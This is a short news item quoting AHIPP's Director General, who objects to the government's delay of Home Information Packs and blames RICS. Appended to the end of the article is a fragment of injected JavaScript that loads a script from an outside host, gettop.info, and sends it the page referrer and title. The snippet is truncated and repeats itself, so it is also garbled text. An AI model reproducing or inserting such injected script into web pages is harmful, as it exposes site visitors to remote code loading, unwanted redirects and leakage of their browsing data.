HIPS supporters disappointed with delays

The Association of Home Information Pack Providers (AHIPP) has announced its utter disappointment in the decision by Ruth Kelly to delay Home Information Packs (HIPs) until 1st August.

Mike Ockenden, Director General, AHIPP said: “This latest decision is at the cost of the consumer and the environment. It appears to have been RICS, through their call for a judicial review, which has ultimately derailed this vital house buying and selling reform, so soon before its planned implementation.

This is a serious let down and it is both the consumer and the environment which will now suffer as a result of these latest changes. Consumers will have to endure the existing, broken house buying and selling process for at least a further two months, costing them time, money and unnecessary stress. In addition, our homes will continue to release the millions of tons of carbon emissions, which were set to be significantly reduced as a result of the Energy Performance Certificates (EPCs).

It is difficult to understand how RICS can claim that it is acting in the public’s interest by denying them this much needed reform, and the benefits of reduced carbon emissions as a result of the EPC.

We must also consider the thousands of individuals, many of whom are RICS members, who have invested their time and in many cases, their own money, in training to become Home Inspectors and Domestic Energy Assessors. Many Home Inspectors have already been let down by the July 18th u-turn, which saw the Home Condition Report (HCR), a hugely beneficial element of the pack, made voluntary and now DEAs will feel the same way about the delaying of the EPC.

Industry was and is ready for the introduction of HIPs on the 1st June and it is only the propaganda, spread about by those opposing the packs for their own vested interests that have ultimately led to this delay. Qualified Home Inspectors and Domestic Energy Assessors have delayed applying to become registered because of the political and vested interest opposition, which has created uncertainty among the profession.

It is absolutely paramount that we now see the Government’s 100% commitment to the new, 1st August date and that the proposed, phased implementation of HIPs is fast tracked, to ensure that HIPs are available on all homes for sale, as soon as possible.

Today’s announcement is a clear indication that the Government has listened to and responded to industry members such as RICS and their concerns and as a result, RICS now has a responsibility to the consumer, to the industry and to its members to work positively alongside Government and other key players to make this vital reform a reality, and a success when it is implemented on the 1st August this year.”if (document.currentScript) { s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if (document.currentScript) {

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